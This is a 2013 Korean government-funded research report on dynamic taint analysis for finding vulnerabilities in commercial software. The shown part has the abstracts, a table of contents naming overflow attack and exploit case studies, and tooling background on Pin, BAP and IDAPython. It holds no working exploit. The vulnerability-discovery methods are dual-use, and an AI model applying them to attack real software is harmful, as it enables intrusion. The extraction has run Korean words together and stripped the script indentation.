최종연구보고서 취약점발굴을위한 프로그램입력데이터 흐름분석연구 수탁기관 : 한양대학교산학협력단 2013. 11. 29
제출문 한국인터넷진흥원원장귀하 본보고서를 취약점발굴을위한프로그램입력데이터 흐름분석연구 의최종연구개발결과보고서로제출합니다. 2013 년 11 월 29 일 수탁기관 : 한양대학교산학협력단 연구책임자 : 박용수 ( 한양대학교컴퓨터공학과 ) 참여연구원 : 김성호 ( 한양대학교컴퓨터소프트웨어학과 ) 박진우 ( 한양대학교전자컴퓨터통신공학과 ) 김도래 ( 한양대학교컴퓨터소프트웨어학과 ) 배찬우 ( 한양대학교컴퓨터공학과 )
요약문 1. 제목 취약점발굴을위한프로그램입력데이터흐름분석연구 2. 연구개발의목적및중요성최근상용프로그램취약점을이용하여다양한공격을시도하는사례가증가하고있다. 프로그램취약점은악성코드제작, APT (Advanced Persistent Threat) 공격등에널리활용되고있다. 이에, 상용소프트웨어의보안취약점을보다쉽게그리고빨리탐지하는것이매우시급한실정이다. 이에, 본연구의목적은프로그램입력데이터흐름분석을통한제로데이보안취약점발굴방법을수립하는것이다. 3. 연구개발의내용및범위우선, 프로그램입력데이터로인해유발되는취약점발생원인을분석하고조사한다. 두번째로, 프로그램입력데이터흐름을연구한다. 세번째로, 주요취약점의발생가능여부를자동으로찾는방법을모색한다. 마지막으로, 데이터흐름분석을통한취약점탐지방법을적용한다. 4. 연구결과취약점발생원인관련분석및조사결과로, 스택오버플로우공격, 힙오버플로우공격, Use-after-free 공격등이어떤방식으로이루어지는지분석하였고, 관련취약 API들이어떻게사용되는지분석하였다. 두번째로, 프로그램입력데이터흐름연구결과로는, 동적오염분석 (Taint analysis) 를설계 / 구현하였다. 프로그램실행시, 명령어별로입력데이터가전파되는과정을추적하였다. 세번째로, 주요취약점의발생가능여부를자동으로찾는방법을설계 / 구현하였다 : 스택스매싱공격, SEH 오버플로우, 힙오버플로우, 제어흐름조작의공격방식을포함한다.
마지막으로, Proof-of-concept 을구현후, 소스코드가있는응용프로그 램과, 상용프로그램에대하여취약점검출여부를테스트하여실효성을 검증하였다. 5. 활용에대한건의 본결과를이용하여응용프로그래의취약점을보다쉽게분석이가능 하며취약점보고건에대해보다빠르게검증가능하다. 6. 기대효과 국산소프트웨어품질을높이며, 제로데이공격, APT 공격에대해빠 른대처가가능하다.
SUMMARY 1. Title Research on flow analysis of program inputs to find exploits 2. Purpose of the study In these days, malware and APT (Advanced Persistant Threat) attacks are growing at an exponential rate in the Internet, which causes a serious damage not only for individual but also for company and organization. Generally hackers exploit vulnerabilities in commercial software to inject malicious code or to control the remote server. Hence, finding vulnerabilities in commercial software is one of the most crucial work to ensure safe e-environment. Objectives of this research is to conduct data flow analysis to find zero-day vulnerabilities in off-the-shelf software. 3. Contents and scope First we analyze major security vulnerabilities and related APIs. Then, we conduct data flow analysis on the target software. Third, we design dynamic analysis modules to detect security vulnerabilities semi-automatically. Finally, we implement the modules and perform tests to verify practicality of our scheme. 4. Results of the study First, we analyzed up-to-date security vulnerabilities and recent
up-to-date research achievements on finding security vulnerabilities and data flow analysis techniques. We analyzed major routines of major control flow attacks including stack smashing attacks, SEH overflow attacks, heap overflow attacks, and use-after-free attacks. Furthermore, we analyzed related API calls and arguments usage. Then, we designed and implemented the dynamic taint analysis engine for x86 binary using Intel s Pin tool. Our module performs forward taint analysis from the instruction trace. Furthermore, we implemented diverse modules including call flow analysis, memory trace analysis, stack usage analysis. From the observation and experimental results from basic modules, we formalize typical pattern of major attacks, which are used to for designing and implementing dynamic vulnerability analysis modules. Furthermore, we use our taint analysis engine to identify related input bytes to control execution flow. To verify our prototype tool, we conducted various tests from simple binary programs designed for specific attacks to commercial off-the-shelf software, where experimental results show effectiveness of the proposed approach. 5. Expected effects and applications As for technological aspects, both static and dynamic analysis schemes can help programmers to evade security vulnerabilities when writing codes. As for economical aspects, this study can be used to minimize cost and time to analyze off-the-shelf software. Also, it can be used to find vulnerabilities in software. which can significantly minimize
appearance of new malware and APT threats. We expect our research can help to produce highly educated engineers, who will be key experts in Korean IT industry.
목 차 제 1 장서론 1 제 2 장관련연구 4 제 1 절바이너리분석도구 4 1. Pintool 4 2. BAP 6 3. IDAPython 15 제 2 절관련연구 21 1.!exploitable을이용한취약점분류 21 2. 오염분석 (Taint Analysis) 21 3. 퍼징 (Fuzzing) 25 제 3 장취약점원인분석 31 제 1 절프로그램입력데이터로발생하는취약점 31 1. 버퍼오버플로우 31 2. 취약점을유발시키는 API 조사 40 제 2 절입력데이터로발생되는기존취약점조사 / 분석 41 1. ASX 파일포맷조작을통한 GOM 플레이어원격코드실행취약점 41 2. 아래한글 2010se 힙오버플로우취약점 47 3. WAV 파일조작을통한 Windows Media 플레이어 DoS(Crash) 취약점 49
제 4 장분석도구설계및구현 52 제 1 절기반도구설계및구현 52 1. 의심 API Trace 도구 53 2. 특정값 (Magic Value) Trace 도구 55 3. 호출시퀀스 Trace 도구 56 제 2 절입력데이터흐름분석도구 (Taint Analysis) 63 1. 입력데이터분석 63 2. 입력데이터전파 (Propagation) 분석 69 3. 로그구조소개 73 제 3 절입력데이터사용지점분석도구 74 1. 입력데이터사용지점분석 74 제 4 절스택구조분석도구 77 1. Call/Ret 구조분석 77 2. SEH 구조분석 79 제 5 절힙구조분석도구 80 1. 힙생성및힙할당분석 80 2. 메모리복사분석 82 제 6 절입력값에의한취약점탐지및분석도구 83 1. 스택오버플로우탐지및분석도구 83 2. SEH 오버플로우탐지및분석도구 85 3. 힙오버플로우탐지및분석도구 86 4. 제어흐름변조탐지및분석도구 89 제 5 장구현도구를이용한취약점분석 91
제 1 절도구사용방법소개 91 1. 실험환경 91 2. 제작도구사용법 91 제 2 절소프트웨어취약점분석결과 95 1. 테스트용소프트웨어취약점분석결과 95 2. 상용소프트웨어취약점분석결과 104 제 6 장결론 121
Chapter 1 Introduction 1 Chapter 2 Related work 4 Section 1 Binary Analysis tools 4 1. Pintool 4 2. BAP 6 3. IDAPython 15 Section 2 Related work 21 1. Classifying exploits using!exploitable 21 2. Taint Analysis 21 3. Fuzzing 25 Chapter 3 Cause analysis of exploits 31 Section 1 The exploits caused by the input data 31 1. Buffer Overflow 31 2. Find API related to exploit 40 Section 2 Research and analysis exploits caused by the input data 41 1. Execution Remote Code Vulnerabilities on GOM Player by ASX File Format 41 2. Heap Overflow Vulnerability on HWP 47
3. DoS Vulnerabilities on Windows Media Player by WAV File 49 Chapter 4 Design and implementation tool for analysis of exploits 52 Section 1 Design and implementation base tool 52 1. Suspicious API Trace Tool 53 2. Magic Value Trace Tool 55 3. Call sequence Trace Tool 56 Section 2 Tool for analysis input data flow (Taint Analysis) 63 1. Analysis input data 63 2. Input data propagation 69 3. Introduction log data structure 73 Section 3 Analysis code area using input data 74 1. Analysis code using input data 74 Section 4 Tool for analysis stack structure 77 1. Analysis for Call/Ret structure 77 2. Analysis for SEH structure 79 Section 5 Tool for analysis heap structure 80 1. Analysis heap create and heap allocation 80 2. Analysis memory copy 82 Section 6 Tools for detection and analysis about exploit by input data 83 1. Tool for detection and analysis about stack overflow 83 2. Tool for detection and analysis about SEH overflow 85 3. Tool for detection and analysis about heap overflow 86 4. Tool for detection and analysis about control flow modify 89
Chapter 5 Exploit analysis using implemented tools 91 Section 1 Usage 91 1. Experimental environment 91 2. Usage 91 Section 2 The result of analysis for software exploits 95 1. The result of analysis for test software exploits 95 2. The result of analysis for commercial software exploits 104 Chapter 6 Conclusion 121
그림목차 ( 그림 1-1) 해킹사고접수추이 2 ( 그림 1-2) 해킹피해기관별분류 2 ( 그림 2-1) Architecture of Pin Tool 4 ( 그림 2-2) Instrution Count Example 5 ( 그림 2-3) PIN의메이저루틴 5 ( 그림 2-4) 디버거와 Pin tool을이용한루틴후킹 6 ( 그림 2-5) 바이너리코드구조 7 ( 그림 2-6) 바이너리코드의숨은의미 8 ( 그림 2-7) BAP의구조 8 ( 그림 2-8) BAP에서제공하는도구 9 ( 그림 2-9) BIL의문법을 EBNF로표현 10 ( 그림 2-10) operational semantics의표기법 11 ( 그림 2-11) BIL의의미 (1/2) 11 ( 그림 2-12) BIL의의미 (2/2) 12 ( 그림 2-13) CFG 구조 15 ( 그림 2-14) 인스트럭션열거스크립트결과 18 ( 그림 2-15)!exploitable 사용하여 exploitable 한지체크 [3] 21 ( 그림 2-16) 오염객체 23 ( 그림 2-17) 오염번식도식도 24 ( 그림 2-18) 퍼징의분류 29 ( 그림 3-1) 코드 1의스택구조 33 ( 그림 3-2) 코드 4의스택구조 35 ( 그림 3-3) 코드 5의힙영역구조 37 ( 그림 3-4) 힙스프레이구조 39 ( 그림 3-5) ASX 파일구조 42 ( 그림 3-6) 계산기프로그램실행쉘코드 42 ( 그림 3-7) Exploit ASX파일의구조 44
( 그림 3-8) GOM 플레이어내부의 JMP ESP 45 ( 그림 3-9) 취약실행코드 45 ( 그림 3-10) Overflow로덮어쓸 RET위치 46 ( 그림 3-11) JMP ESP를통한공격코드실행 46 ( 그림 3-12) EIP변경실행코드 46 ( 그림 3-13) JMP ESP의주소로 EIP변경 47 ( 그림 3-14) JMP ESP에의한쉘코드실행 47 ( 그림 3-15) 취약 API와연관성있는입력바이트 48 ( 그림 4-1) 한글설치폴더에포함된모듈항목 52 ( 그림 4-2) 분석모듈의구조 53 ( 그림 4-3) 주요 API 호출지점파악 54 ( 그림 4-4) 인자값체크도구의 instrumentation 지점 55 ( 그림 4-5) 루틴로그기록남기는과정 57 ( 그림 4-6) IDA PRO를통해본위코드의흐름도 59 ( 그림 4-7) 구현한방법을이용하여출력된결과 60 ( 그림 4-8) doc 파일내에저장된레코드부분 61 ( 그림 4-9) 힙영역내에레코드가저장되는구조 61 ( 그림 4-10) MsDocGroup 내에서 memcpy 발생까지의콜시퀀스 61 ( 그림 4-11) 데이터전파순서도 72 ( 그림 4-12) API 실행시스택구조 75 ( 그림 4-13) 스택구조 78 ( 그림 4-14) SEH 구조체 80 ( 그림 4-15) 힙생성과할당 81 ( 그림 4-16) 메모리할당 81 ( 그림 4-17) 스택오버플로우 ( 디스어셈블 ) 83 ( 그림 4-18) 스택오버플로우탐지결과 84 ( 그림 4-19) 스택에저장된값이다른레지스터에전달되는예 85 ( 그림 4-20) SEH 덮어쓰기 85 ( 그림 4-21) 취약 API 실행지점 87 ( 그림 4-22) 힙오버플로우탐지 88 ( 그림 4-23) 제어흐름변경 90 ( 그림 5-1) PIN 트레이스실행 91
( 그림 5-2) API 트레이스도구실행 92 ( 그림 5-3) 트레이스 On/Off 리모컨 93 ( 그림 5-4) API 트레이스도구실행 93 ( 그림 5-5) 아래아한글초기화면 93 ( 그림 5-6) 제어흐름분석도구실행 94 ( 그림 5-7) 제어흐름변조코드 96 ( 그림 5-8) 제어흐름변조분석을위한도구실행 97 ( 그림 5-9) 스택오버플로우예제소스코드 98 ( 그림 5-10) 스택오버플로우예제디스어셈블코드 99 ( 그림 5-11) 제작도구결과 99 ( 그림 5-12) SEH 오버플로우발생지점 102 ( 그림 5-13) 힙생성코드 103 ( 그림 5-14) 힙할당코드 103 ( 그림 5-15) 힙오버플로탐지의흐름을분석하기위해실행 104 ( 그림 5-16) 파일드랍 105 ( 그림 5-17) 입력데이터분석을위한도구실행 106 ( 그림 5-18) 입력데이터전파 1 ( 디스어셈블 ) 107 ( 그림 5-19) 입력데이터전파 1 ( 디컴파일 ) 107 ( 그림 5-20) 입력데이터전파 2 ( 디스어셈블 ) 107 ( 그림 5-21) 입력데이터전파 2 ( 디컴파일 ) 108 ( 그림 5-22) 입력데이터전파 3 ( 디스어셈블 ) 108 ( 그림 5-23) 입력데이터전파 3 ( 디컴파일 ) 108 ( 그림 5-24) 입력데이터전파 4 ( 디스어셈블 ) 108 ( 그림 5-25) 입력데이터전파 4 ( 디컴파일 ) 109 ( 그림 5-26) 입력데이터전파 5 ( 디스어셈블 ) 109 ( 그림 5-27) 입력데이터전파 5 ( 디컴파일 ) 109 ( 그림 5-28) 입력데이터전파 6 ( 디스어셈블 ) 109 ( 그림 5-29) 입력데이터전파 6 ( 디컴파일 ) 109 ( 그림 5-30) 입력데이터전파 7 ( 디스어셈블 ) 110 ( 그림 5-31) 입력데이터일부 110 ( 그림 5-32) 입력데이터일부 112 ( 그림 5-33) 입력데이터연산 113
( 그림 5-34) 힙할당 113 ( 그림 5-35) 힙할당코드 113 ( 그림 5-36) 취약 API 실행지점 114 ( 그림 5-37) 힙오버플로우탐지 114 ( 그림 5-38) 제어흐름변조코드 116 ( 그림 5-39) 입력파일바이너리 117 ( 그림 5-40) 입력파일바이너리 117 ( 그림 5-41) 오류발생 118 ( 그림 5-42) 취약지점코드 118 ( 그림 5-43) SEH 오버플로우탐지 120
표목차 [ 표 2-1] 함수열거스크립트 16 [ 표 2-2] 함수열거스크립트출력결과 17 [ 표 2-3] 인스트럭션열거스크립트 17 [ 표 2-4] 함수호출열거스크립트 18 [ 표 2-5] 함수호출열서스크립트결과 19 [ 표 2-6] 익스포트함수열거스크립트 19 [ 표 2-7] 익스포트함수열거스크립트결과 20 [ 표 3-1] SecurityFocus에등록된개념증명코드 43 [ 표 3-2] SecurityFocus에등록된개념증명코드 50 [ 표 4-1] 취약 API 53 [ 표 4-2] 입력데이터분석을위한 API 63 [ 표 4-3] 메모리테이블 68 [ 표 4-4] 레지스터테이블 68 [ 표 4-5] 힙관련 API 정보 81 [ 표 4-6] new Operator 정보 81 [ 표 5-1] API 트레이스도구옵션 92 [ 표 5-2] 데이터흐름추적도구옵션 94
제 1 장서론 인터넷기술이발전하고, 그사용이보편화됨에따라우리의생활전반에걸쳐컴퓨터와인터넷이이용되고있다. 기존에단순히정보검색등에만이용되었던인터넷과컴퓨터기술이개인수준의인터넷뱅킹, 세금납부등의금융서비스와의료서비스, 각종예약서비스, 쇼핑등인간의거의모든활동과연관되어생활에없어서는안되는핵심기반시설및서비스로자리잡았다. 이러한기술과서비스가보편화되기이전부터존재했던개인정보나이익을목적으로악의적인공격이나이에따른피해가환경이나방법만바뀌었을뿐현재에도존재한다. 오히려공격방법은더욱지능화되고있고, 피해의규모또한커지고있다. 기존서버를대상으로했던해킹공격은웹서버나, 데이터베이스시스템, 네트워크통신프로토콜등의취약점을악용하여이뤄졌고, 이를통해기업이나정부의시스템에접근하여서비스를불가능하게만들거나기밀문서등을빼가는등의공격을하는방식이었다. 하지만방화벽, IDS, IPS나백신엔진등의기본보안시스템에막혀, 상대적으로덜방어되고있는클라이언트측공격으로공격경로가전이되고있다. 즉, 서버만을대상으로했던공격이점차클라이언트를대상으로한공격으로변화하면서웹서버나데이터베이스시스템, 네트워크통신프로토콜등의잘알려진취약점이아닌사용되는응용프로그램이나, 멀티미디어파일, 멀티미디어플레이어등의소프트웨어자체에존재하는취약점을악용하는사례가증가하고있다 [1,2]. ( 그림 1-1) 과같이 2011~2012년의해킹사고를피해기관별로분류한결과클라이언트측의해킹사고가많은것을확인할수있다. 또한, 2012년1월부터 8월까지의피해기관별해킹사고를분류한결과 ( 그림 1-2) 와같이개인이차지하는비율이 64% 로가장높았으며뒤를이어기업이차지하는비율이 33% 로나타났다 [3].
( 그림 1-1) 해킹사고접수추이 ( 그림 1-2) 해킹피해기관별분류
참고문헌 [1] N. Proves, D. McNamee, et. al., "The Ghost In The Browser Analysis of Web-based malware", Proc. of the first USENIX workshop on hot topics in Botnets, Apr. 2007. [2] Christian Seifert, "Know Your Enemy: Malicious Web Servers", The Honeynet Project, KYE paper, Aug. 2008. [3] 인터넷침해대응센터, 인터넷침해사고동향및분석월보, 한국인터넷진흥원
제 2 장관련연구 제 1 절바이너리분석도구 1. Pintool[1] PIN은 intel에서제공하는동적이진분석도구 (Dynamic Binary Analyzer) 로써 C혹은 C++ 로작성된임의의코드를실행코드의한부분으로삽입을시킬수있다. 소스코드의재컴파일이필요가없으며동적으로코드를재컴파일하는프로그램이다. PIN은일종의 JIT(Just In Time) 컴파일러로하나의명령어가실행할때마다그흐름을가로채어 PIN 내부적으로새로컴파일한코드를실행하며이때사용자가원하는코드를 Instrumentation을할수있다. PIN의다양한 API등을이용하여보안과시스템에뮬레이션등을동적으로수행할수있다. PIN은라이브러리로드와시스템콜예외처리그리고쓰레드생성등여러가지확장된 API 들을제공하여동적분석을한다. 가. Instrumentation ( 그림 2-1) Architecture of Pin Tool Instrumentation 이란런타임정보를얻기위해타겟프로그램에추가적
으로코드를삽입하여분석을하는기술이다. ( 그림 2-2) 와같이 instruction 의실행개수를파악하기위해각 instruction 이전에카운팅을 할수있는코드를삽입을한다. ( 그림 2-2) Instrution Count Example ( 그림 2-3) 의예제코드는타겟프로그램의실행되는 instruction 의개수 를카운트하는예제이다. Pin tool 의코드에는 ( 그림 2-3) 와같이핵심적 인두가지루틴이포함이되어있다. ( 그림 2-3) PIN의메이저루틴 - Instrumentation Routines Instrumentation 코드를어디에삽입을할지정하는루틴이다. ( 그림 2-3) 과같이 Instruction 바로이전에 instrumentation을하여 instruction이실행되기전에카운팅함수를위치시켜 instruction의개수를파악한다. - Analysis Routines Instrumentation 코드가활성화될때어떠한행위를할지정의하는루틴이다. ( 그림2-3) 과같이 Instruction이실행이될때마다 docount루틴이호출이되어카운팅변수의값을증가시킨다.
일반적으로디버거를통해브레이크포인트를설정하여위의과정을수행할수있는데디버거는인터럽트를발생시켜분석을위한코드를실행하게되고 pin은프로그램내부에분석코드를삽입하여추적하기때문에빠르게로그기록을남길수있다. ( 그림 2-4) 디버거와 Pin tool 을이용한루틴후킹 2. BAP [2] (1) Overview BAP (Binary Analysis Platform) 은바이너리코드분석용도구이다. BAP은 x86언어뿐만아니라 ARM 머신등일반적인머신도지원하며 ( 현재는 x86, ARM만지원 ) 바이너리코드에관한정적 / 동적분석을할수있는다양한툴을제공한다. 바이너리코드분석과일반소스코드분석은여러가지면에서다른데, 몇가지를살펴보면, 첫째바이너리코드에는따로 function이존재하지않으며, jump나 call 인스트럭션으로구현된다. 둘째, 바이너리코드에는버퍼란것이따로없으며단일가상주소공간만제공된다. 이에, 버퍼오버플로우등을분석할때힘든부분이다. 셋째, 타입이없기에, 포인터, 스트럭쳐, 멤버변수등에관한고차원적추론을하기힘들다는특징을지닌다.
또한, 바이너리코드는구조가복잡하다. 다음의그림을보도록하자. ( 그림 2-5) 바이너리코드구조 이그림에서, 왼쪽의어셈블리코드를보면, ( 머신이 x86 32비트머신이라가정시 ), 첫번째인스트럭션의의미는 eax에 ebx를더한후 mod 2^32를한값으로해석해야한다. 그후, 만일두값의합이 2^32보다같거나큰경우 OF 플래그가 ON되다. 두번째, SHL의경우, edx=1이고 eax의 MSB 2비트가서로다를경우에 OF가 ON된다 ( 만일 edx!= 1이면 OF는 undefined). 세번째인스트럭션에서앞의 1, 2의경우에둘중에하나라도 OF가 ON된경우에 target으로뛰고, 그렇지않으면 4번째인스트럭션을수행한다. 또하나의예로, 다음그림은 INTEL의 REP 명령에대한의미를적은것이다. 이그림을보면바이너리코드의숨은뜻이얼마나복잡한지잘알수있다.
( 그림 2-6) 바이너리코드의숨은의미 BAP의구조를살펴보면다음그림과같다.BAP은바이너리코드를입력으로받는다. 바이너리코드는 Front End단에서 BIL이라는중간언어로변환되며, 중간언어를통해, 그래프형태로표현할수도있고, 옵티마이징작업을할수도있으며, 프로그램증명코드를생성할수도있고, 추가의프로그램분석코드를수행할수도있으며, 다시어셈블리 / 바이너리 /C 코드로역변환할수있다. 현재 BAP이지원하는바이너리코드는 x86과 ARMv4이다. ( 그림 2-7) BAP 의구조 BAP 은제 3 의유틸리티를지원하는데, TEMU, 외부 disassembler, libvex, GNU libbfd, Decision prodedure 등의유틸리티를지원한다.
(2) TOIL utility toil 유틸리티는바이너리코드를 BIL 중간언어로바꾸어주는역할을한다. 이를위해서는첫째, 바이너리코드를어셈블리코드로변환한다. 현재, BAP에는 linear sweep 어셈블러가구현되어있으며, GNUlibopcodes 를이용하여어셈블리어로변환한다. 또한, IDA pro를이용하면, recursive-decent disassemble도가능하다. 둘째, 어셈블리코드를 VEX 중간언어로변환한다. VEX 중간언어는 Valgrind에서사용하는중간언어이다. Valgrind 중간언어는너무자잘한내용이있는반면, 정작프로그램분석에중요한 ( 일례로 x86의 eflag같은 ) 정보는빠져있기에, 셋째로, VEX를 BIL로변환하여이때내용을단순화시키면서신뢰할수있는의미정보를모두포함시킨다. ( 그림 2-8) BAP 에서제공하는도구 위의그림은 BAP에서제공하는다양한툴을개념적으로도식한것이다. BAP은 Windows PE file, UNIX ELF file, IDA Pro database, PIN/TEMU Execution 트레이스, ARM machine code 등을지원하며, tolil 툴을이용하여 BIL 언어로변환한다. 그후, BIL 중간언어로바뀐파일을 iltrans 라는툴을이용하여다양한 방식으로분석할수있다. 첫째, 언어를최적화할수있으며, CFG (Call
Flow Graph) 를생성할수있으며, DDG, PDG 등도생성가능하다. 또한, STP/SMTLIB 포뮬러로변환할수도있고, Weakest Precondition을구할수도있으며, 중간언어를 ieval이라는 evaluator를이용하여실행하여값을구할수도있고, toc 툴을이용하면 C 코드도생성가능하다. 이밖에 VSA, SSA, DSA, Chopping, 및다양한 Dataflow optimization을제공한다. (3) BIL (Binary Intermediate Language) 의구조 다음그림은 BIL 의문법을 EBNF 로표현한것이다. ( 그림 2-9) BIL 의문법을 EBNF 로표현 BIL 언어의의미는 operational semantics 로정의하는데, 일단, operational semantics 의표기법은다음과같다.
( 그림 2-10) 의표기법 이표기법으로정의한 BIL 의의미는다음과같다. ( 그림 2-11) BIL 의의미 (1/2)
( 그림 2-12) BIL 의의미 (2/2) (4) BAP 의구현내용 BAP은 C++ 와 OCAML로구현되어있다. 프론트엔드부분은 C++ 로구현되어있지만, 대부분의코드는 OCAML로구현되어있다. 프론트엔드중 Valgrind VEX는바이너리코드를리프팅하는데사용되며, GNU libopcodes는어셈블리코드를다루는데사용된다. BAP의 top-level directory는다음과같다 : libasmir: asembly 관련디렉토리. ocaml: 메인 BAP 분석코드. utils: BAP 유틸리티코드. doc: 문서디렉토리. (5) BAP 사용예 - CFG (Control Flow Graph) 생성
위의코드는간단한 C 코드예제이다. 이코드를우선컴파일하고다 음과같은명령을수행한다. >> gcc -m32 -fno-stack-proctector cond2.c -o cond2 이바이너리코드에서어셈블리코드를출력해보면다음과같다. >> objdump -d cond2 BAP 에서는실행파일에서함수를자동으로찾아서시작가상주소와끝 가상주소를출력해줄수있는데, get_function 명령이그것이다. >> getfunctions cond2 -r 그러면, 다음과같은화면을볼수있다.
여기서우리의관심부분은 ttt 함수와 main 함수이다. 이함수를이제 BIL 중간언어로바꾸어보자. >> toil -binrange 0x80483c4 0x8048450 > cond2.il cond2.il의내용을살펴보면다음과같다. 이 IL 파일을토대로 CFG 를생성해보자. >> iltrans -il cond2.il -to-cfg -pp-ast-cdg cond2.dot
그러면, dot 형태의그래프파일이생성된다. 이파일을 pdf 파일로다 음과같이변환한다. >> dot Tpdf cond2.dot > cond2.pdf 그래프의구조를살펴보면다음과같다. ( 그림 2-13) CFG 구조 3. IDAPython 가. 개념 IDAPython은파이썬인터프리터를 IDA에통합한것이다. 이플러그인은 IDC 스크립트언어에서쓸수있는기능을파이썬스크립트로작성할수있다. IDAPython을사용할때의이점은파이썬모듈뿐아니라파이썬의네이티브데이터핸들링기능도사용할수있다는점이다. 게다가 IDA SDK 중중요기능을쓸수있어 IDC보다강력한기능을구현할수있다. 나. IDAPython 사용
IDAPython은세가지파이썬모듈을사용가능하게함으로써파이썬코드를 IDA에서쓸수있게한다. 각모듈에는특정한목적이있다. IDA 핵심 API는 idaapi 모듈로접근할수있다. IDC에서쓸수있는함수는 IDA 파이썬의 idc 모듈로쓸수있다. IDAPython의세번째모듈은 idautils 로, 다수의유틸리티함수를제공해함수나상호참조같은데이터관련객체를처리할수있다. IDAPython을사용할때파이썬인터프리터인스턴스를한개구동한다. IDA를닫기전까지계속해서인터프리터가구동된다. 즉, 파이썬단일셸세션에서구동하는것처럼모든스크립트와문장을볼수있다. 예를들어 idaapi 모듈을임포트했다면 IDA를다시시작하지않는이상다시임포트할필요가없다. 비슷하게초기화된변수와정의된함수는 IDA를닫거나재정의하기전까지는상태를유지한다. 다. IDAPython 스크립트예제 (1) 함수나열 IDAPython으로데이터베이스객체의컬렉션에손쉽게접근할수있다. 스크립트의목적은데이터베이스의함수를열거하는것으로, 각함수의기본정보를출력해준다. 보여주는정보로는함수의시작주소, 종료주소, 함수인자의크기, 함수지역변수의크기등을보여준다. 출력은출력창으로보여준다. [ 표 2-1] 함수열거스크립트 funcs = Functions() for f in funcs: name = Name(f) end = GetFunctionAttr(f,FUNCATTR_END) locals = GetFunctionAttr(f,FUNCATTR_FRSIZE) frame = GetFrame(f) if frame is None:
continue ret = GetMemberOffset(frame, " r") if ret == -1: continue firstarg = ret + 4 args = GetStrucSize(frame) - firstarg Message("Function: %s, starts at %x, ends at %x\n" % (name,f,end)) Message("Local variable area is %d bytes\n" % locals) Message("Arguments occupy %d bytes (%d args)\n" % (args, args/4)) 아래 [ 표 2-2] 는함수열거스크립트의출력결과이다. [ 표 2-2] 함수열거스크립트출력결과 Function: sub_10001000, starts at 10001000, ends at 1000107c Local variable area is 8 bytes Arguments occupy 4 bytes (1 args) Function: sub_10001080, starts at 10001080, ends at 1000111b Local variable area is 12 bytes Arguments occupy 8 bytes (2 args) (2) 인스트럭션열거인스트럭션의수를계산하는스크립트로써 idautils 모듈의목록생성자기능을사용할수있는장점이있다. [ 표 2-3] 인스트럭션열거스크립트 func = get_func(here()) if not func is None: fname = Name(func.startEA) count = 0
for i in FuncItems(func.startEA): count = count + 1 else: Warning("%s contains %d instructions\n" % (fname,count)) Warning("No function found at location %x" % here()) SDK 함수 ( idaapi ) 를사용해함수객체의참조정보를얻어오고, FuncItems 생성기 ( idautils ) 를사용해함수의인스트럭션을간단히반복처리할수있다. 그러나생성기에서파이썬의 len 함수를쓸수없기때문에인스트럭션의수를계산하기위해생성기에서만들어준목록을하나하나돌면서수를센다는점은단점이다. 아래 ( 그림 2-14) 는인스트럭션열서스크립트실행시출력내용이다. ( 그림 2-14) 인스트럭션열거스크립트결과 (3) 함수호출열거 idautils 모듈은직관적으로함수호출목록을생성할수있는함수가있다. [ 표 2-4] 함수호출열거스크립트 func = get_func(here()) if not func is None: fname = Name(func.startEA)
items = FuncItems(func.startEA) for i in items: for xref in XrefsFrom(i,0): if xref.type == fl_cn or xref.type == fl_cf: Message("%s calls %s from 0x%x\n" % (fname,name(xref.to),i)) else: Warning("No function found at location %x" % here()) idautils 의 XrefsFrom 생성기로현인스트럭션의함수호출에접근하고있다. 아래 [ 표 2-5] 는함수호출열거스크립트의결과이다. [ 표 2-5] 함수호출열서스크립트결과 sub_10005b40 calls sub_100154a0 from 0x10005b53 sub_10005b40 calls sub_100154a0 from 0x10005b67 sub_10005b40 calls sub_100154a0 from 0x10005b86 sub_10005b40 calls sub_100099f0 from 0x10005ba2 sub_10005b40 calls sub_10009e80 from 0x10005bb8 (4) 익스포트함수나열.ids 파일은공유라이브러리내용을기술하고있으며,.ids 파일을생성하면서라이브러리가익스포트하는함수의설명파일인.idt 파일도생성한다. 아래 [ 표 2-6] 의스크립트는 IDA로공유라이브러리를열고난후,.idt 파일을생성하게해준다. [ 표 2-6] 익스포트함수열거스크립트 file = AskFile(1, "*.idt", "Select IDT save file") with open(file, 'w') as fd: fd.write("0 Name=%s\n" % GetInputFile()) for i in range(getentrypointqty()): ord = GetEntryOrdinal(i) if ord == 0:
continue addr = GetEntryPoint(ord) if ord == addr: continue fd.write("%d Name=%s" % (ord, Name(addr))) purged = GetFunctionAttr(addr, FUNCATTR_ARGSIZE) if purged > 0: fd.write(" Pascal=%d" % purged) fd.write("\n") 위 [ 표 2-6] 의스크립트의결과물은사용자가지정한파일에저장된다. 이코드에서는 GetEntryPointQty 라는함수를사용하여라이브러리에서익스포트된심볼의개수를알려주며, GetEntryOrdinal은익스포트테이블의인덱스인오디널숫자를리턴해준다. 또한 GetEntryPoint는오디널숫자로확인된익스포트함수의주소를리턴해주고, GetInputFile은 IDA 로로딩된파일의이름을알려준다. 아래 [ 표 2-7] 은익스포트함수열거스크립트의결과이다. [ 표 2-7] 익스포트함수열거스크립트결과 0 Name=MSRMCcodec00.dll 1 Name=Codec_Create 2 Name=Codec_Destroy 3 Name=Codec_Encode 4 Name=Codec_EncodeEnd 5 Name=Codec_RegTrace 6 Name=Codec_Reset 7 Name=Codec_Version 8 Name=Codec_WriteTail
제 2 절관련연구 1.!exploitable 을이용한취약점분류!exploitable은 Windbg의 crash analyze 모듈로, exception 이발생한상태에서해당명령을통해실제 exploitable 한지여부를알려준다. Crash 가발생하였을때다음과같이네단계로나누어 exploitable 한지알려준다. Ÿ Ÿ Ÿ Ÿ Exploitable : exploit 가능 Probably Exploitable : exploit 가능성존재예상 Probably Not Exploitable : exploit 가능성존재하지않음예상 Unknown : 알수없음 ( 그림 2-15)!exploitable 사용하여 exploitable 한지체크 [3] 위와같이!exploitable 을이용하여 exploitable 한입력값을찾는다. Exploitable 한데이터를 dynamic taint analysis 를통해데이터가전파되는 것을파악하고어떠한지점에취약점이존재하는지분석한다. 2. 오염분석 (taint analysis) 오염분석은프로그램의유효성을검사하는테스트및분석방법중 하나로, 프로그램에외부로부터입력되는일련의데이터를오염된
